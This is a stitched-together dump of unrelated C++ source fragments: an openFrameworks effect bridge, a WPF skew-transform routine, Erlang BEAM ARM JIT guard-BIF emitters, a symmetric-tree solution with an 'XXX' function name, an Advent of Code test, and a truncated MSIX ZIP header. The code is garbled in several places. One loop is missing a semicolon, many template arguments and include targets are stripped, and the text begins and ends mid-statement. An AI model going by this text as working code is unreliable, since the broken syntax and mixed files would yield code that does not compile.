ofRemoveListener(m_player->effect_manager.effectRemovedEvent, this, &InterfacePlayerBridge::onEffectEnded); } } void InterfacePlayerBridge::onTrigger(string &trigger){ Effect* effect; // first check if there's already an effect with this trigger // (and unique enabled) if so; abort for(int i=active_effects->size()-1; i>=0; i--){ effect = (*active_effects)[i]; if(effect->getUnique() && effect->trigger == trigger){ return; } } Effect* fx = EfficientEffectManager::instance()->get(trigger); if(!fx){ ofLogError() << "Could not create effect for trigger: " << trigger; return; } // add to players realtime comp m_player->addEffect(*fx); // ofLogVerbose() << "effects in player's manager: " << m_player->effect_manager.getCount(); } void InterfacePlayerBridge::onStopTrigger(string &trigger){ if(trigger == ""){ // ofLog() << "InterfacePlayerBridge::onStopTrigger - clear all"; m_player->clearEffects(); } else { m_player->stopEffectByTrigger(trigger); } } void InterfacePlayerBridge::onEffectConfig(EffectConfig &cfg){ XmlConfigs::instance()->setItemParam(cfg.setting_name, cfg.param_name, cfg.param_value); } void InterfacePlayerBridge::onScreenConfig(EffectConfig &cfg){ XmlConfigs::screens()->setItemParam(cfg.setting_name, cfg.param_name, cfg.param_value); } void InterfacePlayerBridge::onEffectEnded(Effect &effect){ EfficientEffectManager::instance()->finish(&effect); #ifndef __AUTO_UNLOAD_VIDEOS_WHEN_EFFECTS_END__ // do we want to unload the videos player of this effect? if(effect.unloadVideos()){ ofVideoPlayer* player; player = effect.getVideoPlayer(); if(player){ VideoManager::instance()->deprecate(player); } player = effect.getMaskVideoPlayer(); if(player){ VideoManager::instance()->deprecate(player); } } // do we want to unload the images of this effect? if(effect.unloadImages()){ ofImage* img; img = effect.getImage(); if(img){ ImageManager::instance()->unload(img); } img = effect.getMaskImage(); if(img){ ImageManager::instance()->unload(img); } } #else // did the ended effect have a video (player)? ofVideoPlayer* player = effect.getVideoPlayer(); if(player){ // let's see if there are any more effects using this player const vector effects = m_player->effect_manager.getEffects(); for(int i=effects.size()-1; i>=0 i--){ // does this effect use the same player? if(effects[i]->getVideoPlayer() == player){ // player still in use, abort return; } } // no other effects found that use this player, tell manager to unload video from memory VideoManager::instance()->deprecate(player); } #endif } // Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. //+----------------------------------------------------------------------------- // // // $TAG ENGR // $Module: win_mil_graphics_transform // $Keywords: // // $ENDTAG // //------------------------------------------------------------------------------ #include "precomp.hpp" using namespace dxlayer; MtDefine(SkewTransformResource, MILRender, "SkewTransform Resource"); MtDefine(CMilSkewTransformDuce, SkewTransformResource, "CMilSkewTransformDuce"); CMilSkewTransformDuce::~CMilSkewTransformDuce() { UnRegisterNotifiers(); } /*++ Routine Description: CMilSkewTransformDuce::GetMatrixCore --*/ HRESULT CMilSkewTransformDuce::GetMatrixCore( CMILMatrix *pmat ) { HRESULT hr = S_OK; Assert(pmat != NULL); DOUBLE angleX, angleY, centerX, centerY; IFC(SynchronizeAnimatedFields()); angleX = m_data.m_AngleX; angleY = m_data.m_AngleY; centerX = m_data.m_CenterX; centerY = m_data.m_CenterY; { auto result = matrix::get_translation( static_cast(-centerX), static_cast(-centerY), 0.0f ); // Take angle value modulo 360 before converting to radians // to get extra precision for large angles (greater than 360.) angleX = fmod(angleX,360); angleY = fmod(angleY,360); CMILMatrix skew( 1.0f, static_cast (tan(math_extensions::to_radian(static_cast(angleY)))), 0.0f, 0.0f, static_cast (tan(math_extensions::to_radian(static_cast(angleX)))), 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f, 0.0f, 0.0f, 0.0f, 0.0f, 1.0f); result = result * skew; auto translate = matrix::get_translation( static_cast(centerX), static_cast(centerY), 0.0f ); *pmat = result * translate; } Cleanup: RRETURN(hr); } erts/emulator/beam/jit/arm/instr_guard_bifs.cpp /* * %CopyrightBegin% * * Copyright Ericsson AB 2020-2021. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * %CopyrightEnd% */ /* * Guard BIF calls using the generic bif1, bif2, and bif3 instructions * are expensive. Not only are there two indirect calls (one to the * fragment, one to the BIF itself), but the caller-saved X registers * must also be saved and restored, and the BIF operands that are * usually in CPU registers must be written out to memory. * * Therefore, guard BIFs that are used fairly frequently and can * be implemented entirely in assembly language without any calls to * C function are implemented in this source file. */ #include #include "beam_asm.hpp" extern "C" { #include "erl_bif_table.h" #include "big.h" #include "beam_catches.h" #include "beam_common.h" #include "code_ix.h" #include "erl_map.h" } using namespace asmjit; /* Raise a badarg exception for the given MFA. */ void BeamGlobalAssembler::emit_raise_badarg(const ErtsCodeMFA *mfa) { mov_imm(TMP1, BADARG); a.str(TMP1, arm::Mem(c_p, offsetof(Process, freason))); mov_imm(ARG4, mfa); a.b(labels[raise_exception]); } /* ================================================================ * '=:='/2 * '=/='/2 * ================================================================ */ void BeamGlobalAssembler::emit_bif_is_eq_exact_shared() { Label succ = a.newLabel(), fail = a.newLabel(); a.cmp(ARG1, ARG2); a.b_eq(succ); /* The terms could still be equal if both operands are pointers * having the same tag. */ emit_is_unequal_based_on_tags(ARG1, ARG2); a.b_eq(fail); emit_enter_runtime_frame(); emit_enter_runtime(); runtime_call<2>(eq); emit_leave_runtime(); emit_leave_runtime_frame(); a.cbz(ARG1, fail); a.bind(succ); { mov_imm(ARG1, am_true); a.ret(a64::x30); } a.bind(fail); { mov_imm(ARG1, am_false); a.ret(a64::x30); } } void BeamGlobalAssembler::emit_bif_is_ne_exact_shared() { Label succ = a.newLabel(), fail = a.newLabel(); a.cmp(ARG1, ARG2); a.b_eq(fail); emit_is_unequal_based_on_tags(ARG1, ARG2); a.b_eq(succ); emit_enter_runtime_frame(); emit_enter_runtime(); runtime_call<2>(eq); emit_leave_runtime(); emit_leave_runtime_frame(); a.cbnz(ARG1, fail); a.bind(succ); { mov_imm(ARG1, am_true); a.ret(a64::x30); } a.bind(fail); { mov_imm(ARG1, am_false); a.ret(a64::x30); } } void BeamModuleAssembler::emit_bif_is_eq_ne_exact_immed(const ArgVal &LHS, const ArgVal &RHS, const ArgVal &Dst, Eterm fail_value, Eterm succ_value) { auto dst = init_destination(Dst, TMP2); if (RHS.isImmed()) { auto lhs = load_source(LHS, TMP1); cmp_arg(lhs.reg, RHS); } else { auto [lhs, rhs] = load_sources(LHS, TMP1, RHS, TMP2); a.cmp(lhs.reg, rhs.reg); } mov_imm(TMP3, succ_value); mov_imm(TMP4, fail_value); a.csel(dst.reg, TMP3, TMP4, arm::CondCode::kEQ); flush_var(dst); } void BeamModuleAssembler::emit_bif_is_eq_exact(const ArgVal &LHS, const ArgVal &RHS, const ArgVal &Dst) { if (always_immediate(LHS) || always_immediate(RHS)) { if (!LHS.isImmed() && !RHS.isImmed()) { comment("simplified check since one argument is an immediate"); } emit_bif_is_eq_ne_exact_immed(LHS, RHS, Dst, am_false, am_true); } else { auto [lhs, rhs] = load_sources(LHS, ARG1, RHS, ARG2); auto dst = init_destination(Dst, ARG1); mov_var(ARG1, lhs); mov_var(ARG2, rhs); fragment_call(ga->get_bif_is_eq_exact_shared()); mov_var(dst, ARG1); flush_var(dst); } } void BeamModuleAssembler::emit_bif_is_ne_exact(const ArgVal &LHS, const ArgVal &RHS, const ArgVal &Dst) { if (always_immediate(LHS) || always_immediate(RHS)) { if (!LHS.isImmed() && !RHS.isImmed()) { comment("simplified check since one argument is an immediate"); } emit_bif_is_eq_ne_exact_immed(LHS, RHS, Dst, am_true, am_false); } else { auto [lhs, rhs] = load_sources(LHS, ARG1, RHS, ARG2); auto dst = init_destination(Dst, ARG1); mov_var(ARG1, lhs); mov_var(ARG2, rhs); fragment_call(ga->get_bif_is_ne_exact_shared()); mov_var(dst, ARG1); flush_var(dst); } } /* ================================================================ * and/2 * ================================================================ */ void BeamGlobalAssembler::emit_handle_and_error() { static ErtsCodeMFA mfa = {am_erlang, am_and, 2}; emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_and(const ArgVal &Fail, const ArgVal &Src1, const ArgVal &Src2, const ArgVal &Dst) { static const Uint diff_bit = am_true - am_false; Label next = a.newLabel(); auto [src1, src2] = load_sources(Src1, TMP1, Src2, TMP2); auto dst = init_destination(Dst, TMP3); ERTS_CT_ASSERT(am_false == make_atom(0)); ERTS_CT_ASSERT(am_true == make_atom(1)); a.and_(TMP3, src1.reg, imm(_TAG_IMMED2_MASK | ~diff_bit)); a.and_(TMP4, src2.reg, imm(_TAG_IMMED2_MASK | ~diff_bit)); a.cmp(TMP3, imm(_TAG_IMMED2_ATOM)); a.ccmp(TMP3, TMP4, 0, arm::CondCode::kEQ); if (Fail.getValue()) { a.b_ne(resolve_beam_label(Fail, disp1MB)); } else { a.b_eq(next); mov_var(XREG0, src1); mov_var(XREG1, src2); fragment_call(ga->get_handle_or_error()); } a.bind(next); { a.and_(dst.reg, src1.reg, src2.reg); flush_var(dst); } } /* ================================================================ * bit_size/1 * ================================================================ */ void BeamGlobalAssembler::emit_bif_bit_size_helper(Label fail) { Label not_sub_bin = a.newLabel(); arm::Gp boxed_ptr = emit_ptr_val(ARG1, ARG1); emit_is_boxed(fail, boxed_ptr); a.ldur(TMP1, emit_boxed_val(boxed_ptr)); a.and_(TMP1, TMP1, imm(_TAG_HEADER_MASK)); a.cmp(TMP1, imm(_TAG_HEADER_SUB_BIN)); a.b_ne(not_sub_bin); a.ldur(TMP1, emit_boxed_val(boxed_ptr, sizeof(Eterm))); a.ldurb(TMP2.w(), emit_boxed_val(boxed_ptr, offsetof(ErlSubBin, bitsize))); mov_imm(ARG1, _TAG_IMMED1_SMALL); a.add(TMP1, TMP2, TMP1, arm::lsl(3)); a.bfi(ARG1, TMP1, imm(_TAG_IMMED1_SIZE), imm(SMALL_BITS)); a.ret(a64::x30); a.bind(not_sub_bin); ERTS_CT_ASSERT(_TAG_HEADER_REFC_BIN + 4 == _TAG_HEADER_HEAP_BIN); a.and_(TMP1, TMP1, imm(~4)); a.cmp(TMP1, imm(_TAG_HEADER_REFC_BIN)); a.b_ne(fail); a.ldur(TMP1, emit_boxed_val(boxed_ptr, sizeof(Eterm))); mov_imm(ARG1, _TAG_IMMED1_SMALL); a.bfi(ARG1, TMP1, imm(_TAG_IMMED1_SIZE + 3), imm(SMALL_BITS - 3)); a.ret(a64::x30); } void BeamGlobalAssembler::emit_bif_bit_size_body() { Label error = a.newLabel(); emit_bif_bit_size_helper(error); a.bind(error); { static ErtsCodeMFA mfa = {am_erlang, am_bit_size, 1}; a.mov(XREG0, ARG1); emit_raise_badarg(&mfa); } } void BeamGlobalAssembler::emit_bif_bit_size_guard() { Label error = a.newLabel(); emit_bif_bit_size_helper(error); a.bind(error); { mov_imm(ARG1, THE_NON_VALUE); a.ret(a64::x30); } } void BeamModuleAssembler::emit_bif_bit_size(const ArgVal &Fail, const ArgVal &Src, const ArgVal &Dst) { auto src = load_source(Src, ARG1); auto dst = init_destination(Dst, ARG1); mov_var(ARG1, src); if (Fail.getValue() == 0) { fragment_call(ga->get_bif_bit_size_body()); } else { fragment_call(ga->get_bif_bit_size_guard()); emit_branch_if_not_value(ARG1, resolve_beam_label(Fail, dispUnknown)); } mov_var(dst, ARG1); flush_var(dst); } /* ================================================================ * byte_size/1 * ================================================================ */ void BeamGlobalAssembler::emit_bif_byte_size_helper(Label fail) { Label not_sub_bin = a.newLabel(); arm::Gp boxed_ptr = emit_ptr_val(ARG1, ARG1); emit_is_boxed(fail, boxed_ptr); a.ldur(TMP1, emit_boxed_val(boxed_ptr)); a.and_(TMP1, TMP1, imm(_TAG_HEADER_MASK)); a.cmp(TMP1, imm(_TAG_HEADER_SUB_BIN)); a.b_ne(not_sub_bin); a.ldurb(TMP2.w(), emit_boxed_val(boxed_ptr, offsetof(ErlSubBin, bitsize))); a.ldur(TMP1, emit_boxed_val(boxed_ptr, sizeof(Eterm))); a.cmp(TMP2, imm(0)); a.cinc(TMP1, TMP1, arm::CondCode::kNE); mov_imm(ARG1, _TAG_IMMED1_SMALL); a.bfi(ARG1, TMP1, imm(_TAG_IMMED1_SIZE), imm(SMALL_BITS)); a.ret(a64::x30); a.bind(not_sub_bin); ERTS_CT_ASSERT(_TAG_HEADER_REFC_BIN + 4 == _TAG_HEADER_HEAP_BIN); a.and_(TMP1, TMP1, imm(~4)); a.cmp(TMP1, imm(_TAG_HEADER_REFC_BIN)); a.b_ne(fail); a.ldur(TMP1, emit_boxed_val(boxed_ptr, sizeof(Eterm))); mov_imm(ARG1, _TAG_IMMED1_SMALL); a.bfi(ARG1, TMP1, imm(_TAG_IMMED1_SIZE), imm(SMALL_BITS)); a.ret(a64::x30); } void BeamGlobalAssembler::emit_bif_byte_size_body() { Label error = a.newLabel(); emit_bif_byte_size_helper(error); a.bind(error); { static ErtsCodeMFA mfa = {am_erlang, am_byte_size, 1}; a.mov(XREG0, ARG1); emit_raise_badarg(&mfa); } } void BeamGlobalAssembler::emit_bif_byte_size_guard() { Label error = a.newLabel(); emit_bif_byte_size_helper(error); a.bind(error); { mov_imm(ARG1, THE_NON_VALUE); a.ret(a64::x30); } } void BeamModuleAssembler::emit_bif_byte_size(const ArgVal &Fail, const ArgVal &Src, const ArgVal &Dst) { auto src = load_source(Src, ARG1); auto dst = init_destination(Dst, ARG1); mov_var(ARG1, src); if (Fail.getValue() == 0) { fragment_call(ga->get_bif_byte_size_body()); } else { fragment_call(ga->get_bif_byte_size_guard()); emit_branch_if_not_value(ARG1, resolve_beam_label(Fail, dispUnknown)); } mov_var(dst, ARG1); flush_var(dst); } /* ================================================================ * element/2 * ================================================================ */ /* ARG1 = Position (1-based) * ARG2 = Tuple * * Will return the result in ARG1, or jump to the label `fail` if * the operation fails. */ void BeamGlobalAssembler::emit_bif_element_helper(Label fail) { a.and_(TMP1, ARG1, imm(_TAG_IMMED1_MASK)); a.cmp(TMP1, imm(_TAG_IMMED1_SMALL)); a.b_ne(fail); /* Ensure that ARG2 contains a tuple. */ emit_is_boxed(fail, ARG2); arm::Gp boxed_ptr = emit_ptr_val(TMP1, ARG2); lea(TMP1, emit_boxed_val(boxed_ptr)); a.ldr(TMP2, arm::Mem(TMP1)); ERTS_CT_ASSERT(make_arityval_zero() == 0); a.tst(TMP2, imm(_TAG_HEADER_MASK)); a.b_ne(fail); /* Ensure that the position points within the tuple. */ a.lsr(TMP2, TMP2, imm(_HEADER_ARITY_OFFS)); a.asr(TMP3, ARG1, imm(_TAG_IMMED1_SIZE)); a.cmp(TMP3, imm(1)); a.b_mi(fail); a.cmp(TMP2, TMP3); a.b_lo(fail); a.ldr(ARG1, arm::Mem(TMP1, TMP3, arm::lsl(3))); a.ret(a64::x30); } void BeamGlobalAssembler::emit_bif_element_body_shared() { Label error = a.newLabel(); emit_bif_element_helper(error); a.bind(error); { static ErtsCodeMFA mfa = {am_erlang, am_element, 2}; a.mov(XREG0, ARG1); a.mov(XREG1, ARG2); emit_raise_badarg(&mfa); } } void BeamGlobalAssembler::emit_bif_element_guard_shared() { Label error = a.newLabel(); emit_bif_element_helper(error); a.bind(error); { mov_imm(ARG1, THE_NON_VALUE); a.ret(a64::x30); } } void BeamGlobalAssembler::emit_handle_element_error_shared() { static ErtsCodeMFA mfa = {am_erlang, am_element, 2}; a.mov(XREG0, ARG1); a.mov(XREG1, ARG2); emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_element(const ArgVal &Fail, const ArgVal &Pos, const ArgVal &Tuple, const ArgVal &Dst) { /* * Try to optimize the use of a tuple as a lookup table. */ if (exact_type(Pos, BEAM_TYPE_INTEGER) && Tuple.isLiteral()) { Eterm tuple_literal = beamfile_get_literal(beam, Tuple.getValue()); if (is_tuple(tuple_literal)) { Label next = a.newLabel(), fail = a.newLabel(); Sint size = Sint(arityval(*tuple_val(tuple_literal))); auto [min, max] = getIntRange(Pos); bool is_bounded = min <= max; bool can_fail = !is_bounded || min < 1 || size < max; auto pos = load_source(Pos, ARG3); auto tuple = load_source(Tuple, ARG4); auto dst = init_destination(Dst, ARG1); if (always_small(Pos)) { comment("skipped test for small position since it is always " "small"); } else { comment("simplified test for small position since it is an " "integer"); emit_is_not_boxed(fail, pos.reg); } comment("skipped tuple test since source is always a literal " "tuple"); arm::Gp boxed_ptr = emit_ptr_val(TMP1, tuple.reg); lea(TMP1, emit_boxed_val(boxed_ptr)); a.asr(TMP3, pos.reg, imm(_TAG_IMMED1_SIZE)); if (is_bounded && min >= 1) { comment("skipped check for position >= 1"); } else { a.cmp(TMP3, imm(1)); a.b_mi(fail); } if (is_bounded && size >= max) { comment("skipped check for position beyond tuple"); } else { mov_imm(TMP2, size); a.cmp(TMP2, TMP3); a.b_lo(fail); } a.ldr(dst.reg, arm::Mem(TMP1, TMP3, arm::lsl(3))); if (can_fail) { a.b(next); } a.bind(fail); if (can_fail) { if (Fail.getValue() != 0) { a.b(resolve_beam_label(Fail, disp128MB)); } else { a.mov(ARG1, pos.reg); a.mov(ARG2, tuple.reg); fragment_call(ga->get_handle_element_error_shared()); } } a.bind(next); flush_var(dst); return; } } mov_arg(ARG1, Pos); mov_arg(ARG2, Tuple); if (Fail.getValue() != 0) { fragment_call(ga->get_bif_element_guard_shared()); emit_branch_if_not_value(ARG1, resolve_beam_label(Fail, dispUnknown)); } else { fragment_call(ga->get_bif_element_body_shared()); } auto dst = init_destination(Dst, ARG1); mov_var(dst, ARG1); flush_var(dst); } /* ================================================================ * hd/1 * ================================================================ */ void BeamGlobalAssembler::emit_handle_hd_error() { static ErtsCodeMFA mfa = {am_erlang, am_hd, 1}; emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_hd(const ArgVal &Src, const ArgVal &Hd) { Label good_cons = a.newLabel(); auto src = load_source(Src, TMP1); auto hd = init_destination(Hd, TMP2); const int bitNumber = 1; ERTS_CT_ASSERT(_TAG_PRIMARY_MASK - TAG_PRIMARY_LIST == (1 << bitNumber)); a.tbz(src.reg, bitNumber, good_cons); mov_var(XREG0, src); fragment_call(ga->get_handle_hd_error()); a.bind(good_cons); { arm::Gp cons_ptr = emit_ptr_val(TMP1, src.reg); a.ldur(hd.reg, getCARRef(cons_ptr)); flush_var(hd); } } /* ================================================================ * map_size/1 * ================================================================ */ void BeamGlobalAssembler::emit_handle_map_size_error() { static ErtsCodeMFA mfa = {am_erlang, am_map_size, 1}; mov_imm(TMP1, BADMAP); a.str(TMP1, arm::Mem(c_p, offsetof(Process, freason))); a.str(XREG0, arm::Mem(c_p, offsetof(Process, fvalue))); mov_imm(ARG4, &mfa); a.b(labels[raise_exception]); } void BeamModuleAssembler::emit_bif_map_size(const ArgVal &Fail, const ArgVal &Src, const ArgVal &Dst) { Label error = a.newLabel(), good_map = a.newLabel(); auto src = load_source(Src, TMP1); auto dst = init_destination(Dst, TMP2); if (Fail.getValue() == 0) { emit_is_boxed(error, Src, src.reg); } else { emit_is_boxed(resolve_beam_label(Fail, dispUnknown), Src, src.reg); } arm::Gp boxed_ptr = emit_ptr_val(TMP3, src.reg); a.ldur(TMP4, emit_boxed_val(boxed_ptr)); a.and_(TMP4, TMP4, imm(_TAG_HEADER_MASK)); a.cmp(TMP4, imm(_TAG_HEADER_MAP)); if (Fail.getValue() == 0) { a.b_eq(good_map); a.bind(error); { mov_var(XREG0, src); fragment_call(ga->get_handle_map_size_error()); } } else { a.b_ne(resolve_beam_label(Fail, disp1MB)); a.bind(error); /* Never referenced. */ } a.bind(good_map); { ERTS_CT_ASSERT(offsetof(flatmap_t, size) == sizeof(Eterm)); a.ldur(TMP1, emit_boxed_val(boxed_ptr, sizeof(Eterm))); mov_imm(dst.reg, _TAG_IMMED1_SMALL); a.bfi(dst.reg, TMP1, imm(_TAG_IMMED1_SIZE), imm(SMALL_BITS)); flush_var(dst); } } /* ================================================================ * not/1 * ================================================================ */ void BeamGlobalAssembler::emit_handle_not_error() { static ErtsCodeMFA mfa = {am_erlang, am_not, 1}; emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_not(const ArgVal &Fail, const ArgVal &Src, const ArgVal &Dst) { Label next = a.newLabel(); auto src = load_source(Src, TMP1); auto dst = init_destination(Dst, TMP2); ERTS_CT_ASSERT(am_false == make_atom(0)); ERTS_CT_ASSERT(am_true == make_atom(1)); Uint diff_bit = am_true - am_false; a.and_(TMP3, src.reg, imm(_TAG_IMMED2_MASK | ~diff_bit)); a.cmp(TMP3, imm(_TAG_IMMED2_ATOM)); if (Fail.getValue() == 0) { a.b_eq(next); mov_var(XREG0, src); fragment_call(ga->get_handle_not_error()); } else { a.b_ne(resolve_beam_label(Fail, disp1MB)); } a.bind(next); { a.eor(dst.reg, src.reg, imm(diff_bit)); flush_var(dst); } } /* ================================================================ * or/2 * ================================================================ */ void BeamGlobalAssembler::emit_handle_or_error() { static ErtsCodeMFA mfa = {am_erlang, am_or, 2}; emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_or(const ArgVal &Fail, const ArgVal &Src1, const ArgVal &Src2, const ArgVal &Dst) { static const Uint diff_bit = am_true - am_false; Label next = a.newLabel(); auto [src1, src2] = load_sources(Src1, TMP1, Src2, TMP2); auto dst = init_destination(Dst, TMP3); ERTS_CT_ASSERT(am_false == make_atom(0)); ERTS_CT_ASSERT(am_true == make_atom(1)); a.and_(TMP3, src1.reg, imm(_TAG_IMMED2_MASK | ~diff_bit)); a.and_(TMP4, src2.reg, imm(_TAG_IMMED2_MASK | ~diff_bit)); a.cmp(TMP3, imm(_TAG_IMMED2_ATOM)); a.ccmp(TMP3, TMP4, 0, arm::CondCode::kEQ); if (Fail.getValue()) { a.b_ne(resolve_beam_label(Fail, disp1MB)); } else { a.b_eq(next); mov_var(XREG0, src1); mov_var(XREG1, src2); fragment_call(ga->get_handle_or_error()); } a.bind(next); { a.orr(dst.reg, src1.reg, src2.reg); flush_var(dst); } } /* ================================================================ * tl/1 * ================================================================ */ void BeamGlobalAssembler::emit_handle_tl_error() { static ErtsCodeMFA mfa = {am_erlang, am_tl, 1}; emit_raise_badarg(&mfa); } void BeamModuleAssembler::emit_bif_tl(const ArgVal &Src, const ArgVal &Tl) { Label good_cons = a.newLabel(); auto src = load_source(Src, TMP1); auto tl = init_destination(Tl, TMP2); const int bitNumber = 1; ERTS_CT_ASSERT(_TAG_PRIMARY_MASK - TAG_PRIMARY_LIST == (1 << bitNumber)); a.tbz(src.reg, bitNumber, good_cons); mov_var(XREG0, src); fragment_call(ga->get_handle_tl_error()); a.bind(good_cons); { arm::Gp cons_ptr = emit_ptr_val(TMP1, src.reg); a.ldur(tl.reg, getCDRRef(cons_ptr)); flush_var(tl); } } /* ================================================================ * tuple_size/1 * ================================================================ */ void BeamGlobalAssembler::emit_bif_tuple_size_helper(Label fail) { arm::Gp boxed_ptr = emit_ptr_val(TMP1, ARG1); emit_is_boxed(fail, boxed_ptr); ERTS_CT_ASSERT(_TAG_HEADER_ARITYVAL == 0); a.ldur(TMP1, emit_boxed_val(boxed_ptr)); a.tst(TMP1, imm(_TAG_HEADER_MASK)); a.b_ne(fail); ERTS_CT_ASSERT(_HEADER_ARITY_OFFS - _TAG_IMMED1_SIZE > 0); ERTS_CT_ASSERT(_TAG_IMMED1_SMALL == _TAG_IMMED1_MASK); a.lsr(TMP1, TMP1, _HEADER_ARITY_OFFS - _TAG_IMMED1_SIZE); a.orr(ARG1, TMP1, imm(_TAG_IMMED1_SMALL)); a.ret(a64::x30); } void BeamGlobalAssembler::emit_bif_tuple_size_body() { Label error = a.newLabel(); emit_bif_tuple_size_helper(error); a.bind(error); { static ErtsCodeMFA mfa = {am_erlang, am_tuple_size, 1}; a.mov(XREG0, ARG1); emit_raise_badarg(&mfa); } } void BeamGlobalAssembler::emit_bif_tuple_size_guard() { Label error = a.newLabel(); emit_bif_tuple_size_helper(error); a.bind(error); { mov_imm(ARG1, THE_NON_VALUE); a.ret(a64::x30); } } void BeamModuleAssembler::emit_bif_tuple_size(const ArgVal &Fail, const ArgVal &Src, const ArgVal &Dst) { auto src = load_source(Src, ARG1); auto dst = init_destination(Dst, ARG1); mov_var(ARG1, src); if (Fail.getValue() == 0) { fragment_call(ga->get_bif_tuple_size_body()); } else { fragment_call(ga->get_bif_tuple_size_guard()); emit_branch_if_not_value(ARG1, resolve_beam_label(Fail, dispUnknown)); } mov_var(dst, ARG1); flush_var(dst); } class Solution { public: bool XXX(TreeNode* root) { if (!root) return true; return XXX(root->left, root->right); } bool XXX(TreeNode* a, TreeNode* b) { if (!a && !b) return true; if (!a || !b) return false; return a->val == b->val && XXX(a->left, b->right) && XXX(a->right, b->left); } }; tests/2017/13.cpp #include "boost/test/unit_test.hpp" #include "aoc_fixture.h" #include "AoC/2017/problem_13.h" using namespace AoC_2017::problem_13; namespace { const auto* get_test_input() { return R"(0: 3 1: 2 4: 4 6: 4)"; } } // namespace BOOST_FIXTURE_TEST_CASE( problem2017_13_1, AocFixture ) { BOOST_CHECK_EQUAL( 24, run( &solve_1, get_test_input() ) ); } BOOST_FIXTURE_TEST_CASE( problem2017_13_2, AocFixture ) { BOOST_CHECK_EQUAL( 10, run( &solve_2, get_test_input() ) ); } bfourie/msix-packaging // // Copyright (C) 2019 Microsoft. All rights reserved. // See LICENSE file in the project root for full license information. // #pragma once #include "Exceptions.hpp" #include "ComHelper.hpp" #include "StorageObject.hpp" #include "AppxFactory.hpp" #include "ObjectBase.hpp" #include #include #include namespace MSIX { enum class ZipVersions : std::uint16_t { Zip32DefaultVersion = 20, Zip64FormatExtension = 45, }; enum class GeneralPurposeBitFlags : std::uint16_t { UNSUPPORTED_0 = 0x0001, // Bit 0: If set, indicates that the file is encrypted. Deflate_MaxCompress = 0x0002, // Maximum compression (-exx/-ex), otherwise, normal compression (-en) Deflate_FastCompress = 0x0004, // Fast (-ef), if Max+Fast then SuperFast (-es) compression DataDescriptor = 0x0008, // the field's crc-32 compressed and uncompressed sizes = 0 in the local header // the correct values are put in the data descriptor immediately following the // compressed data. EnhancedDeflate = 0x0010, CompressedPatchedData = 0x0020, UNSUPPORTED_6 = 0x0040, // Strong encryption. UnUsed_7 = 0x0080, // currently unused UnUsed_8 = 0x0100, // currently unused UnUsed_9 = 0x0200, // currently unused UnUsed_10 = 0x0400, // currently unused EncodingMustUseUTF8 = 0x0800, // Language encoding flag (EFS). File name and comments fields MUST be encoded UTF-8 UNSUPPORTED_12 = 0x1000, // Reserved by PKWARE for enhanced compression UNSUPPORTED_13 = 0x2000, // Set when encrypting the Central Directory UNSUPPORTED_14 = 0x4000, // Reserved by PKWARE UNSUPPORTED_15 = 0x8000, // Reserved by PKWARE }; constexpr GeneralPurposeBitFlags operator &(GeneralPurposeBitFlags a, GeneralPurposeBitFlags b) { return static_cast(static_cast(a) & static_cast(b)); } constexpr GeneralPurposeBitFlags operator |(GeneralPurposeBitFlags a, GeneralPurposeBitFlags b) { return static_cast(static_cast(a) | static_cast(b)); } constexpr GeneralPurposeBitFlags operator ~(GeneralPurposeBitFlags a) { return static_cast(~static_cast(a)); } enum class CompressionType : std::uint16_t { Store = 0, Deflate = 8, }; // from ZIP file format specification detailed in AppNote.txt enum class Signatures : std::uint32_t { LocalFileHeader = 0x04034b50, DataDescriptor = 0x08074b50, CentralFileHeader = 0x02014b50, Zip64EndOfCD = 0x06064b50, Zip64EndOfCDLocator = 0x07064b50, EndOfCentralDirectory = 0x06054b50, }; constexpr uint64_t MaxSizeToNotUseDataDescriptor = static_cast(std::numeric_limits::max() - 1); template inline bool IsValueInExtendedInfo(T value) noexcept { return (value == std::numeric_limits::max()); } template inline bool IsValueInExtendedInfo(const Meta::FieldBase& field) noexcept { return IsValueInExtendedInfo(field.get()); } class Zip64ExtendedInformation final : public Meta::StructuredObject< Meta::Field2Bytes, // 0 - tag for the "extra" block type 2 bytes(0x0001) Meta::Field2Bytes, // 1 - size of this "extra" block 2 bytes Meta::OptionalField8Bytes, // 2 - Original uncompressed file size 8 bytes Meta::OptionalField8Bytes, // 3 - Compressed file size 8 bytes Meta::OptionalField8Bytes, // 4 - Offset of local header record 8 bytes Meta::OptionalField4Bytes // 5 - number of the disk on which the file starts 4 bytes > { public: Zip64ExtendedInformation(); // The incoming values are those from the central directory record. Their value there determines // whether we attempt to read them here. void Read(const ComPtr& stream, ULARGE_INTEGER start, uint32_t uncompressedSize, uint32_t compressedSize, uint32_t offset, uint16_t disk); std::uint64_t GetUncompressedSize() const { return Field<2>(); } std::uint64_t GetCompressedSize() const { return Field<3>(); } std::uint64_t GetRelativeOffsetOfLocalHeader() const { return Field<4>(); } std::uint32_t GetDiskStartNumber() const { return Field<5>(); } void SetUncompressedSize(std::uint64_t value) noexcept { Field<2>() = value; } void SetCompressedSize(std::uint64_t value) noexcept { Field<3>() = value; } void SetRelativeOffsetOfLocalHeader(std::uint64_t value) noexcept { Field<4>() = value; } bool HasAnySet() const { return (Field<2>() || Field<3>() || Field<4>() || Field<5>()); } std::vector GetBytes() { SetSize(static_cast(Size() - NonOptionalSize)); return StructuredObject::GetBytes(); } protected: constexpr static size_t NonOptionalSize = 4; void SetSignature(std::uint16_t value) noexcept { Field<0>() = value; } void SetSize(std::uint16_t value) noexcept { Field<1>() = value; } }; class CentralDirectoryFileHeader final : public Meta::StructuredObject< Meta::Field4Bytes, // 0 - central file header signature 4 bytes(0x02014b50) Meta::Field2Bytes, // 1 - version made by 2 bytes Meta::Field2Bytes, // 2 - version needed to extract 2 bytes Meta::Field2Bytes, // 3 - general purpose bit flag 2 bytes Meta::Field2Bytes, // 4 - compression method 2 bytes Meta::Field2Bytes, // 